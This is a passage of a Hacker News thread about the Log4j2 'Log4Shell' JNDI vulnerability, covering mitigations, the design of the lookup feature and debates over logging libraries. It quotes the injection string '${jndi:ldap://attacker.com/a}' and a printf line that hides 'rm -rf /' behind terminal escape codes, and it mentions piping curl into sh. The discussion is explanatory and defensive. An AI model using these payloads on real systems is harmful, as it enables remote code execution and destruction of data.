See https://github.com/apache/logging-log4j2/pull/608#issuecomme... for more details.

▲ LOG4J2-2109 on Dec 10, 2021 | root | parent | next [–]

The 'formatMsgNoLookups' property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].

If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:

- Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109

or

- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior.

[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198

▲ freeqaz on Dec 10, 2021 | root | parent | next [–]

Thanks for writing up this fix. I quoted it in the post here:

https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-m...

▲ skimania on Dec 10, 2021 | root | parent | prev | next [–]

The solution of using {nolookups} on every logging pattern is only available from version 2.7 and above.

https://stackoverflow.com/a/42802636/270317

▲ LOG4J2-2109 on Dec 10, 2021 | root | parent | next [–]

Confirming that this is correct: the {nolookups} option was added in v2.7 as a result of LOG4J2-905, so this mitigation is not available on versions prior to 2.7. Corroborating sources:

[4] https://issues.apache.org/jira/browse/LOG4J2-905

[5] https://logging.apache.org/log4j/2.x/changes-report.html#a2....

Checking on the viability of the classloading-based mitigations now across the versions. It seems that LOG4J-1051 was raised [6] to make the class instantiator more tolerant of missing classes, and the resulting changes were released in v2.4 and v2.7. Will check how earlier versions behave in this case.

[6] https://issues.apache.org/jira/browse/LOG4J2-1051

▲ markhahn on Dec 15, 2021 | root | parent | prev | next [–]

extirpate jndi.

personally, I'd extirpate Java too. but I'm curious: does anyone need and use jndi?

▲ anuragrsk on Dec 11, 2021 | root | parent | prev | next [–]

is log4j also has this security issue or this is only in log4j2?

▲ beyang on Dec 10, 2021 | parent | prev | next [–]

Thank you for this super clear and concise write-up. Used it to write up these instructions for our users and customers to patch the vulnerability across their codebase and sharing here in case it's of use/interest to others: https://twitter.com/beyang/status/1469171471784329219.

▲ jrockway on Dec 10, 2021 | prev | next [–]

So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal. Something to be aware of!

▲ hawk_ on Dec 10, 2021 | parent | next [–]

While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?

▲ ximm on Dec 10, 2021 | root | parent | next [–]

Classic confusion: terminals typically run as users, but the shells in them often run as root.

I could imagine an attack like this:

printf 'rm -rf /\n\033[%iAecho "Hello World!"\n'

When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.

▲ Quekid5 on Dec 10, 2021 | root | parent | next [–]

I think you meant \r instead of \n immediately after the / ?

▲ TheDong on Dec 10, 2021 | root | parent | prev | next [–]

> Terminals are run as root all the time

Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were

you meaning something else?

▲ shepherdjerred on Dec 10, 2021 | root | parent | next [–]

I did a lot when I younger and didn't realize that it was a bad practice.

▲ arpa on Dec 10, 2021 | root | parent | next [–]

I've been on Linux since 2000s and still maintain the view that real men log in as root on tty1. It's ironman mode, and pure joy of *nix as it was meant to be experienced. You filthy casual. /s

▲ dijit on Dec 10, 2021 | root | parent | next [–]

UNIX was designed as a multi-user system. So the joy of UNIX is using many users on one machine.

Which, incidentally, *is* the most pleasurable way of experiencing UNIX and UNIX-likes. (Shellboxen)

▲ pid-1 on Dec 10, 2021 | root | parent | prev | next [–]

I've seem root terminals a lot in CI pipelines in the wild.

Also one common way to install "DevOps" stuff piping scripts from curl (and them being asked for root)

▲ phonethrowaway on Dec 10, 2021 | root | parent | prev | next [–]

the point is it's a feature, not an exploit. control and escape codes are a thing for a reason.

it's worse with web stuff though... and it's a real vector.

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+es...

https://packetstormsecurity.com/files/162518/AWS-CloudShell-...

https://nvd.nist.gov/vuln/detail/CVE-2017-0899

https://github.com/InfosecMatter/terminal-escape-injections

▲ barkingcat on Dec 11, 2021 | root | parent | prev | next [–]

I'd be wary of the assumption that mainstream terminals are well reviewed. I'd think terminal software are one of those less glamorous software that doesn't get any attention at all.

similarly to shells and base/foundational software (like logging libraries).

Bash itself goes for long spans of time without updates in their release versions https://git.savannah.gnu.org/cgit/bash.git

▲ FDSGSG on Dec 10, 2021 | root | parent | prev | next [–]

>Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work

This is a really ridiculous assumption.

▲ barkingcat on Dec 11, 2021 | root | parent | next [–]

yah this is saying "I use this all the time so someone else must be making it safe to use!"

▲ mirashii on Dec 10, 2021 | root | parent | prev | next [–]

screen had a recent RCE of the sort. https://nvd.nist.gov/vuln/detail/CVE-2021-26937

▲ jimrandomh on Dec 10, 2021 | root | parent | prev | next [–]

Yes. Here's a recent one: https://nvd.nist.gov/vuln/detail/CVE-2021-27135

▲ immibis on Dec 10, 2021 | root | parent | prev | next [–]

There are terminal control codes (status reports) that cause the terminal to *send* characters. However it looks like the format won't be very useful for RCE. Some of the codes like the cursor position are controllable by sending other control codes first, but you can't set the cursor position to "curl pwn.z0rd | sh"

▲ seanhunter on Dec 10, 2021 | root | parent | prev | next [–]

Noone should be running a terminal as root if it can be avoided. Best practise would be to run the terminal as your user and sudo individual commands as needed. Assuming the command had untrusted output (eg `sudo tail -100F <some log with hostile info>`) the output would still be in your terminal. Any exploit would then need to be in "tail" (because that's the thing in this example you're running as root) or would need to be coupled with a priviledge escalation to get root.

This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.

▲ dystroy on Dec 10, 2021 | parent | prev | next [–]

But you log strings, not bytes, meaning that the escape sequences are escaped, unless there's a severe bug in the logger.

▲ 400thecat on Dec 12, 2021 | parent | prev | next [–]

can you show an example how that would work ?

▲ testplzignore on Dec 10, 2021 | prev | next [–]

I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?

▲ BeefWellington on Dec 10, 2021 | parent | next [–]

> I don't get what the point of this feature even is.

This is basically the response to every type of vulnerability that is based on some spec nobody's read. Same deal with XML entity parsing. Why should it make web requests, FTP requests, etc.?

At some point someone had it as a requirement and everyone else gets to live with it.

▲ throw_nbvc1234 on Dec 10, 2021 | root | parent | next [–]

Which is why they removed the functionality in the latest version (per comments below) right?

▲ tmm1 on Dec 10, 2021 | root | parent | next [–]

Not removed: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9...

▲ Quekid5 on Dec 10, 2021 | root | parent | next [–]

Holy moley, that's a *lot* of extra code... any bets on if it might contain new vulnerabilities? :)

▲ justinpombrio on Dec 19, 2021 | root | parent | next [–]

Hahaha, giving you an upvote because new vulnerabilities have, in fact, been found. (And I think one of them relates to this new code not being sufficient? Though I'm not following much anymore.)

▲ scottlamb on Dec 10, 2021 | root | parent | prev | next [–]

There are two *bizarre* design decisions that combined into this *stunning* security vulnerability: the automatic trust-the-world code execution (on by default) and the recursive parameter expansion (always on). They flipped the default on the former. They haven't done anything about the latter, AFAIK. I wonder if they will.

▲ BinaryRage on Dec 10, 2021 | parent | prev | next [–]

log4j2 supports lookups, which allows you to add additional logging context:

https://logging.apache.org/log4j/2.x/manual/lookups.html

The problem here is the JNDI lookup because for historical reasons there is code in these providers which causes Java to deserialize and load bytecode if it's found in a result for a lookup against an LDAP server. That exploit was partially fixed in the JDK in 2008, then in 2018, but there are multiple naming providers that are affected.

Yes, it's enabled by default before 2.15.0, released today to mitigate this issue.

▲ shp0ngle on Dec 10, 2021 | root | parent | next [–]

I don't understand these Java protocols enough to understand why was loading arbitrary bytecode from URLs even considered a feature, but I guess it was the 90s and Objects were all the rage

▲ AtNightWeCode on Dec 10, 2021 | root | parent | next [–]

A lot of libs for logging have similar convenient ways for getting usernames and so on. The error here seems to be that even though you use the lib correctly a bug was introduced that made the injected parameters a part of the layout, at least that is what people are claiming. The example from the article though is an incorrect use of the lib and one can expect the same type of issues in a lot of libs when dealing with input parameters.

▲ shp0ngle on Dec 11, 2021 | root | parent | next [–]

I understand that. I don't understand JDNI, LDAP and why it ever downloads and runs remote bytecode and why was that ever considered a good feature.

▲ toyg on Dec 11, 2021 | root | parent | next [–]

LDAP is typically a behind-the-firewall protocol. At that point, in the "old school" mindset, it's considered a trusted service. Having features to automatically pick up stuff across your own network of boxes might be considered useful by many an admin.

▲ blincoln on Dec 11, 2021 | root | parent | next [–]

Also, my understanding is that Java deserialization (or deserialization in general) wasn't intended to explicitly allow actual code execution, just reconstitution of an object's state from storage on disk, the network, etc. Sometimes the state of certain types of object can be repurposed to result in arbitrary code execution, but AFAIK that wasn't an anticipated outcome or design goal back in the 90s.

▲ nijave on Dec 10, 2021 | parent | prev | next [–]

I'm guessing some sort of auditing or routing functionality. For instance, you have debug logs going to some development server and login events going to so audit server.

I don't have experience with this feature but there's similar use cases in log shipping utilities like fluentd

Edit: I read the other link and it looks like some sort of poorly designed RPC functionality or something *shrug*

Edit 2: Reading https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/..., it sounds like it's a form of service discover of sorts. You talk to a registry server and it provides some object pointing to the real destination

▲ shp0ngle on Dec 10, 2021 | root | parent | next [–]

Reading about this got me to the words "servlet" and "BeanFactory", which I don't really want to uncover right now, as it might open some pandora's box

▲ toyg on Dec 11, 2021 | root | parent | next [–]

Those are very famous '90s Java concepts (J2EE), and I feel old for talking to somebody who doesn't know what they are.

▲ shp0ngle on Dec 12, 2021 | root | parent | next [–]

I remember reading about them when I learned programming in 2000s, but never used them in reality. Luckily.

▲ est on Dec 10, 2021 | parent | prev | next [–]

> What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged

I encountered a similar problem recently, my own logger can get the current container/pod IP address, it's painful to tell which host from the IPs in logs, so I had to do a manual DNS lookup to include a hostname instead. I was hoping the logger could automatically do a lookup and cache it for me.

▲ Too on Dec 11, 2021 | root | parent | next [–]

Pretty sure the original rationale for this clusterfuck must have been something similar: "we only have user id here, but want the logs to contain user name". Send this requirement to the cheapest bidder and here we are.

▲ suraci on Dec 10, 2021 | root | parent | prev | next [–]

Why didn't write logs to stdout and scrape container log files by fluentbit/promtail/etc? I'm working on logging infrastructure now and really want to know the reason behind this(before I built it...)

▲ est on Dec 10, 2021 | root | parent | next [–]

I do, but with a different log aggregator (vector.dev), there are three reasons:

1. the log aggregator doesn't exactly support DNS lookups

2. You have to parse the log first, exactly precisely where the IP part, then do a proper lookup. But sometimes the log is just a mess.

3. where the log aggregator located cannot do host lookup because of different network and different DNS server.

So overall the lookup would better be done locally.

▲ numpad0 on Dec 10, 2021 | parent | prev | next [–]

I think this hilarious surprise from "network is the computer" principle and "it just so happens to go through xyz" transparency is just awesome.

▲ keyle on Dec 10, 2021 | parent | prev | next [–]

So if you have a null pointer exception or something similar in production, you want to send that information to a remote host or alert system to be looked at urgently.

▲ markburns on Dec 10, 2021 | root | parent | next [–]

I might be missing something, but wouldn't the point be that it's not the log writer's responsibility to do this, but rather some other service that consumes the unparsed output and sends the notification?

▲ makeitdouble on Dec 10, 2021 | root | parent | next [–]

This is the obvious solution now.

I think 20 years ago it would have been slammed as overkill to have a separate process just to send logs.

Even now actually, there is a flurry of libs/gems to send events/logs/analytics to a remote server (Datadog, NewRelic, Slack...)from the application itself. It's usually not directly coupled with the logger, but it's not far.

▲ Thorrez on Dec 10, 2021 | root | parent | next [–]

Putting a feature in a logger to send logs remote is one thing. Putting a special syntax into the log message itself that gets parsed to decide where to send it is much weirder.

▲ tmd83 on Dec 10, 2021 | root | parent | next [–]

Exactly and this being enabled by default seems specially more unusual. I can understand config being parseable even though log configurer directly pulling a remote config is a stretch specially by default. But I don't think it's unlikely that people would by default assume that their log message would be parsed that way and as someone said it even works if that's used as a user input using {} instead of +.

▲ spc476 on Dec 10, 2021 | root | parent | prev | next [–]

syslog() has been around for a lot longer than 20 years, and that's a function that logs to a separate process. What's so bad about syslog that people need to invent new logging systems?

▲ funcDropShadow on Dec 10, 2021 | root | parent | next [–]

Because it is not portable and therefore not the blessed Java entreprise way of doing things. /rantoff

▲ abhishekjha on Dec 11, 2021 | root | parent | prev | next [–]

Apps do send metrics from the process itself. Dropwizard metrics comes to mind. Wonder what timing RCE is waiting to happen there.

▲ keyle on Dec 10, 2021 | root | parent | prev | next [–]

Agreed. It's all nice to have. People want push.

You can eat your pizza slice whichever way you want.

Arguably this would be useful for critical events.

▲ Merad on Dec 10, 2021 | root | parent | prev | next [–]

Encoding that in the log message itself still seems a bit crazy. I'm not familiar with log4j, but the .Net logging libraries I do know (NLog and Serilog) completely separate writing log events from processing (writing, sending, whatever) the events.

▲ ec109685 on Dec 10, 2021 | parent | prev | next [–]

I believe the idea is that it lets you augment your log line with additional information to make it easier to read versus having to do the lookup at parse time.

▲ neop1x on Dec 11, 2021 | parent | prev | next [–]

I guess a full scripting language support in the log string should be the next big feature. Ideally with full FS and network access.

▲ anonymousiam on Dec 10, 2021 | parent | prev | next [–]

NSA TIA

▲ jimrandomh on Dec 10, 2021 | prev | next [–]

I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.

The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.

▲ nostoc on Dec 10, 2021 | parent | next [–]

> just a wrapper around printf which adds a timestamp and a log-level

That's a pretty naive view of what's needed in an enterprise logging solution.

logging to files, separate logging, remote logging, log rotation, logging 3rd party code...

Of course if you're simply sending lines to the terminal in a simple program you don't need log4j.

But once you scale, you'd be spending 3 weeks implementing what you get for free in log4j.

▲ oasisbob on Dec 10, 2021 | root | parent | next [–]

Log4j configuration isn't free either. Ask anyone who has ever been woken up by an asinine log rotation bug. (The tailer broke, or the rotation didn't happen... again, etc)

Playing application log janitor is miserable. Just ship the logs and be done with it.

▲ rtpg on Dec 10, 2021 | root | parent | next [–]

I mean if you write log rotation code yourself you will still be woken up by it.

I agree that log configuration is a pain in the butt and oftentimes messy (especially when some third party lib includes a line to basically wipe your global config and everything gets wonky), but it's not like the heavy value adds are easy and bug-free to write!

▲ nostoc on Dec 12, 2021 | root | parent | prev | next [–]

I'll agree to this, but it's still a lot better than trying to implement it yourself.

▲ oasisbob on Dec 12, 2021 | root | parent | next [–]

I agree, writing (and arguably configuring) robust logging libraries isn't much fun, and not easy to do yourself.

So, don't. Ship the logs as quickly and as simply to a system which is explicitly for log management.

The choice isn't between writing huge logging libraries or using log4j, it's whether you want an application to handle its own flat-file logging and rotation in the first place.

Java has always been obnoxiously complex to steer towards sane, basic, modern syslog, which I think is a shame.

▲ cozzyd on Dec 10, 2021 | root | parent | prev | next [–]

I thought you just rely on rsyslog or journald for this stuff...

▲ ninkendo on Dec 10, 2021 | root | parent | next [–]

Right?

Logs are streams, not files. To a first approximation, you should just log to standard out, and let another system take care of sending your output to either a file (with rotation) or logstash, or syslog, or a whatever else is appropriate. To a second approximation (if you're already using stdout for something else), the thing you're logging to should still be a file descriptor, but not a file per se. (perhaps a local socket to a logging system like syslog.)

I don't need everything on my system that logs, to invent its own log output directory, and implement its own log rotation. That's how you get a mishmash of different places where logs end up living, and they become very difficult to collate or compare, etc.

▲ christophilus on Dec 10, 2021 | root | parent | prev | next [–]

You do. None of the logging libraries I've used in the past 5 years even have log rotation as a feature, from what I can tell.

▲ vbezhenar on Dec 10, 2021 | root | parent | prev | next [–]

IMO enterprise logging solution should write logs to file and rotate files. The rest should be done by a separate services like Loki or Logstash.

▲ tetha on Dec 10, 2021 | root | parent | next [–]

Imo, the main point of a system like log4j or slf4j if the ability to have logging in your service up to the point of it being a massive performance impact - and keep it disabled.

For example, Hibernate has full query logging built in, but even if you filter locally with some logging demon, pushing 100 - 1k queries / second to stdout or a file is going to cripple performance.

With a logging framework like Log4J or SLF4J you can have this query logging, and you can enable it within 1 monitor run (usually 60s) at runtine and disable it 4-5 minutes later. This is very, very powerful in production.

▲ dijit on Dec 10, 2021 | root | parent | prev | next [–]

Arguably log rotation should be handled outside of the application with logrotate or filebeat.

▲ coredog64 on Dec 10, 2021 | root | parent | next [–]

Please not filebeat. For a few months I had this recurring problem where an app was logging way too much stuff. Filebeat dutifully accepted it and then created ghost files as a buffer which then filled up the disk and crashed the app.

Depending on the velocity at which the log barf was being produced, we sometimes had a short window in which we could manually (!) log in via SSH (!) and restart filebeat to force it to close the open file handles at the cost of losing everything being buffered locally (!).

▲ Nursie on Dec 10, 2021 | root | parent | prev | next [–]

> Of course if you're simply sending lines to the terminal in a simple program you don't need log4j

That's the issue though isn't it, a lot of people don't need those features, just the prettifying and formatting, levels selectable by classpath and basic bits. log4j is great at these things and has become the standard for these things as much as anything else.

And with a lot of stuff being done by microservices, serverless functions etc, you have other pieces that pick up the logs and do all the smart processing. Especially 'at scale'.

So a capable but simple logging library is probably a good option. Perhaps log4j could split.

▲ shepherdjerred on Dec 10, 2021 | parent | prev | next [–]

I disagree strongly with this.

You're better off learning the de-facto libraries of your language. Your employer, or any production application you're going to work on is probably going to use one of these libraries.

I learned the most common Java libraries when writing personal projects -- Lombok, log4j, Guava, Gson, Jackson, Netty, etc.

I had a significantly gentler learning curve at my first job. We used these common libraries, so I had a very easy time when I had to edit log filtering or fix log rotations of our applications.

▲ asddubs on Dec 10, 2021 | root | parent | next [–]

Seems like you're disagreeing on the basis of personal development rather than whether it makes sense for any given project. I think at that point it depends on whether you're primarily coding to learn or to make software

▲ shepherdjerred on Dec 10, 2021 | root | parent | next [–]

By the same token why would you roll your own instead of using a tried and true library that any experienced Java developer already knows?

▲ jallen_dot_dev on Dec 10, 2021 | root | parent | next [–]

> why would you roll your own instead of using a tried and true library

For one, the very reason we are all in this thread right now.

▲ thebean11 on Dec 10, 2021 | root | parent | next [–]

Plenty of "roll your own x"s have critical security bugs too, they just don't make the front page of HN. Do you really think, in general, roll your own is safer?

▲ jallen_dot_dev on Dec 10, 2021 | root | parent | next [–]

Not in general. Your own cryptography implementation? Hell no. Your own simple logging solution that doesn't need anything fancy from log4j? Probably.

▲ thebean11 on Dec 10, 2021 | root | parent | next [–]

Simple is..a pretty big stretch for Log4j, even just taking the subset of features that your average medium-sized company would use.

▲ teitoklien on Dec 10, 2021 | root | parent | prev | next [–]

You're practically right, But if your team isn't constantly changing then running your custom solution for at-least more simpler things like logging is better.

Because otherwise you have to depend on skills of a third party library maintainer you have no communication with or contract agreement with, to protect his/her codebase from getting security backdoors, which other malicious actors will constantly try to inject it with, if the library is known to be used by various large enterprises.

Coding with third party libraries is about trust, for simpler functions and packages its usually worth it long term to code it in-house. It's easier to maintain, only comes with features you need and you're always aware of what capabilities your code has.

I'm everyday impressed how relatively less npm with node, etc get hacked, considering they use additional third-party libraries for 4 liner functions too.

▲ asddubs on Dec 10, 2021 | root | parent | prev | next [–]

put in general terms, to minimize complexity, and to a lesser extent, increase control. I'm not saying it's always worth it to do that no matter what, but for smaller things like logging, if you don't have any hugely complex needs (i.e. it won't be much effort to maintain your own solution), I would personally always prefer an in-house solution. It's all a function of effort, of course.

▲ staticassertion on Dec 10, 2021 | root | parent | prev | next [–]

Because it apparently is absurdly complicated for a task I can solve with 'println'.

▲ coredog64 on Dec 10, 2021 | root | parent | next [–]

Java since 5 has included it's own logging class. It doesn't have as many features as log4j, but it also doesn't load classes via JNDI.

▲ xxs on Dec 13, 2021 | root | parent | next [–]

java 5 - erm. java 1.4... and truth be told I'd prefer them over any other logging solution. Yet, java.util.logging has has quite a lot of vulnerabilities, itself.

▲ fnord77 on Dec 10, 2021 | root | parent | prev | next [–]

avoid google libraries like the plague, there's absolutely no need for them unless you're using protobuf. I don't understand why people are using lombok after java 16. Jackson and log4j are sort of essential, unfortunately.

more libraries = more attack surface.

▲ ivan_gammel on Dec 10, 2021 | root | parent | next [–]

Log4j is not essential. There's slf4j as an abstraction layer and logback as native implementation for quite long time, supported by many libraries and frameworks.

▲ shepherdjerred on Dec 10, 2021 | root | parent | prev | next [–]

Lombok still has plenty of nice features that aren't present in vanilla Java.

Also, Gson and Guava are both fantastic libraries

▲ nobleach on Dec 10, 2021 | root | parent | prev | next [–]

For an enterprise to move to Java 16, a huge amount of code needs to be reviewed and tested. It's not as simple as incrementing a number in 200 pom.xml files.

Sure records are pretty cool but Lombok does do a few other things as well.

▲ mjr00 on Dec 10, 2021 | parent | prev | next [–]

> The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level.

I... don't think this is true? When I was using it we used log rotation, log truncation, configurable output formatting that could be made consistent across the code or specialized in certain parts of the code base that required more detailed logging, masking credit card numbers and emails in log statements, and doing all of the logging async to not impact performance. And I'm sure there are features it has which I didn't mention.

▲ eyelidlessness on Dec 10, 2021 | parent | prev | next [–]

I haven't used log4j (or a JVM language) for several years but IIRC the most common usage was printf + agnostic but reliable output, commonly adapted to multiple SaaS solutions and usable in dev, and outputting formats that are searchable eg in Logstash. This is roughly the same as I've encountered on Node where I've also had to remind myself that it isn't a simple printf -> stdout, even if it looks and feels like it is.

The complexity in logging libraries like this are much greater than they seem like they should be, specifically because they're designed to abstract a lot of integration use cases in a way that feels like it just works. Marshaling data between even a few services introduces a lot of potential for mistakes.

▲ Natsu on Dec 10, 2021 | parent | prev | next [–]

It's a bit more complicated than it seems to do logging efficiently, though. Higher levels of logging really do slow you down -

https://logging.apache.org/log4j/log4j-2.2/performance.html

▲ physicles on Dec 10, 2021 | parent | prev | next [–]

For containers that's especially true because the best practice is just to write to stdout/stderr. This sidesteps a whole host of issues related to dealing with log files.

▲ frant-hartm on Dec 10, 2021 | root | parent | next [–]

Even when you log to just stdout/stderr there are many features and considerations that are a lot more complicated than just printf (custom format patterns with context, dynamically turning logs on/off in parts of application, performance, ...).

▲ didibus on Dec 10, 2021 | parent | prev | next [–]

I think there's a tradeoff. Your implementation is also likely to have vulnerabilities you haven't caught, but it would be more obscure and maybe people wouldn't bother as much finding exploits for it. On the other hand, using a popular commonly used library, it will get tested for vulnerabilities a lot more thoroughly, reported and eventually patched, so it is possibly more hardened.

▲ jimrandomh on Dec 10, 2021 | root | parent | next [–]

I don't think so. If you write your own implementation, you'll limit the scope of what you write to stuff you're actually going to use, which isn't going to include crazy stuff like what log4j turned out to have lurking inside it.

▲ ivan_gammel on Dec 10, 2021 | root | parent | next [–]

Even trivial things can have vulnerabilities. You can always substitute Criteria API in JPA with concatenation of SQL, but one missed check and you will get SQL injection.

▲ BatteryMountain on Dec 10, 2021 | parent | prev | next [–]

Same mindset here.

I've always written my own loggers, doesn't even take more than an hour in C#-land. log4net is quite a beast so I avoid it. Serilog is pretty cool though, but in most cases I just roll my own. Other than that, .net core comes with its own loggers and logging abstractions, so half the time you don't have to write your own anymore, and if you do, its super pluggable.

▲ adamc on Dec 10, 2021 | parent | prev | next [–]

Just a note of appreciation for this thread. One of the things we can get out of debacles like this is a reassessment of how we should design software, and what we should look for in software designed by others. Food for thought.

▲ jsiepkes on Dec 10, 2021 | prev | next [–]

Logback has an interesting commit[1]: "disassociate logback from log4j 2.x as much as possible".

They also updated their landing page [2]: "Logback is intended as a successor to the popular log4j project, picking up where log4j 1.x leaves off. Fortunately, logback is unrelated to log4j 2.x and does not share its vulnerabilities."

Can't say I blame them.

[1] https://github.com/qos-ch/logback/commit/b810c115e363081afc7...

[2] http://logback.qos.ch/

EDIT: Removed Apache from Apache Logback since, as correctly pointed out, it's not a Apache project.

▲ d3nj4l on Dec 10, 2021 | parent | next [–]

I don't think that's them being cheeky or anything. The first thing I thought of when I saw this vuln was whether logback was also affected - a lot of the services at my workplace use logback, and I've used logback for a couple of personal projects. It makes sense for them to come out today and say "We are not associated with log4j2 and don't have this vulnerability", especially because logback was built to succeed log4j 1.

▲ dikei on Dec 10, 2021 | parent | prev | next [–]

This is such a cheap move by Logback, which comes from the former lead developer of Log4j 1.

I used to like it for its technical merits: it's really much better than Log4j 1. But its development has stagnated, and it doesn't offer anything over Log4j2 nowadays. Furthermore, it's not an Apache project, it doesn't even use the Apache License, but LGPL.

▲ jsiepkes on Dec 10, 2021 | root | parent | next [–]

> But its development has stagnated, and it doesn't offer anything over Log4j2 nowadays.

I would say that a logging framework also needs to be boring. I don't understand why string interpolation with access to the JNDI context needs to be in core Log4j2.

Less is more so to say.

▲ lolinder on Dec 10, 2021 | root | parent | prev | next [–]

I don't think it's them being cheap, I think they're reacting to a flood of questions. My very first question when I saw this was if logback was impacted. As soon as I found OP's comment, I could relax and eat breakfast.

▲ Aperocky on Dec 10, 2021 | root | parent | prev | next [–]

> it doesn't offer anything over Log4j2 nowadays.

That's a major plus.

▲ d3nj4l on Dec 10, 2021 | root | parent | prev | next [–]

Logback is dual licensed as LGPL and EPL (Eclipse Public License).

▲ Symbiote on Dec 10, 2021 | parent | prev | next [–]

Logback, not Apache Logback. It is not an Apache project.

▲ spuz on Dec 10, 2021 | prev | next [–]

Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input?

Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.

▲ freeqaz on Dec 10, 2021 | parent | next [–]

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably).

It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:

"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."

... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.

0: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...

▲ formerly_proven on Dec 10, 2021 | root | parent | next [–]

Fundamentally this is a format string attack. You're not supposed to do "log.info(user_supplied_stuff)", you're supposed to do "log.info("User sent: %s", user_supplied_stuff)".

Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397

Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a memory-safe language.

▲ wepple on Dec 10, 2021 | root | parent | next [–]

Java is uncannily good at repeatedly allowing code execution via data misinterpretation across the board. The way it does serialization makes it impossible to secure. Templating libraries have forever been an issue. Endless extensibility in-line with data is a curse.

▲ kaba0 on Dec 10, 2021 | root | parent | prev | next [–]

How is Java uncannily good at those? Do you have other examples?

▲ GrayShade on Dec 10, 2021 | root | parent | next [–]

I'm not the grandparent, but there's been a slew of deserialization-related vulnerabilities in Java and .NET libraries where user input is used to instantiate arbitrary classes and invoke methods on them.

▲ Nursie on Dec 10, 2021 | root | parent | next [–]

Lot of them in jackson in recent years, IIRC.

▲ abhishekjha on Dec 11, 2021 | root | parent | next [–]

Is that why ConcurrentHashmap uses a RB-tree in worst case scenario, as in if there are too many collisions in a bucket?

▲ Nursie on Dec 11, 2021 | root | parent | next [–]

I'm not sure that's related here? Jackson is a JSON and XML serialiser/deserialiser, and it has a bunch of ways to automatically serialise and deserialise things into objects, without being provided a template. This is where the danger lies, if you just let it do its thing it can be exploited as it will load classes that the input data asks for. There have been a number of RCEs about this in recent years

I'm not sure what that has to do with the performance of concurrenthashmap under heavy collisions... ?

▲ abhishekjha on Dec 11, 2021 | root | parent | next [–]

If I understand correctly most of the query params or POST body JSON gets mapped to a hashmap via Jackson and then POJOs gets created which can actually be an attack vector in terms of collison.

[0]https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attach...

[1]https://openjdk.java.net/jeps/180

[2]https://stackoverflow.com/questions/8669946/application-vuln...

▲ Nursie on Dec 11, 2021 | root | parent | next [–]

OH fair enough, that's not the attack vector that I was referring to, which is a more simple "deserialise me to something that I can use to compromise you" message, but it's another interesting vector!

Security really is hard to get right.

▲ abhishekjha on Dec 17, 2021 | root | parent | next [–]

>"deserialise me to something that I can use to compromise you"

Any paper/presentation that I can read? I seem to be having a hard time findin it.

▲ spuz on Dec 10, 2021 | root | parent | prev | next [–]

What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log?

I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?

▲ twic on Dec 10, 2021 | root | parent | next [–]

